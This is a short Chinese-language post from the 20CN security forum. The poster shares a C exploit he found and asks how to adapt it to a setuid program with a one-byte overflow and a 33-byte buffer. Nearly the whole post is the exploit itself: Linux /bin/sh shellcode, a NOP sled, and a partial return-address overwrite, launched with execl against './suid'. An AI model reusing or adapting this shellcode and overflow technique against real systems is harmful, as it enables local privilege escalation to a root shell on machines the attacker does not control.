|
![]() | 作者: her0 [her0]
![]() |
登录 |
我找到这样一个exploit大概看懂了!可是有点问题! #include <stdio.h> #include <unistd.h> char sc_linux[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; main() { int i, j; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=(252-sizeof(sc_linux));i++) { buffer[i] = 0x90; } for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++) { buffer[i] = sc_linux[j]; } buffer[i++] = 0x74; /* buffer[i++] = 0xfc; * Address of our buffer buffer[i++] = 0xff; * buffer[i++] = 0xbf; */ buffer[i++] = 0x5c; execl("./suid", "suid", buffer, NULL); } 现在有个suid程序有单字节溢出的问题!但是这个缓冲区有边界检查而且很小。33个字节 就是在第33个字节上溢出。但是多于33个字节就不行了。上面这个溢出利用程序明显需要的缓冲区太大了!谁给我指点一下!不胜感激啊~~~~ |
地主 发表时间: 04-06-08 13:53 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号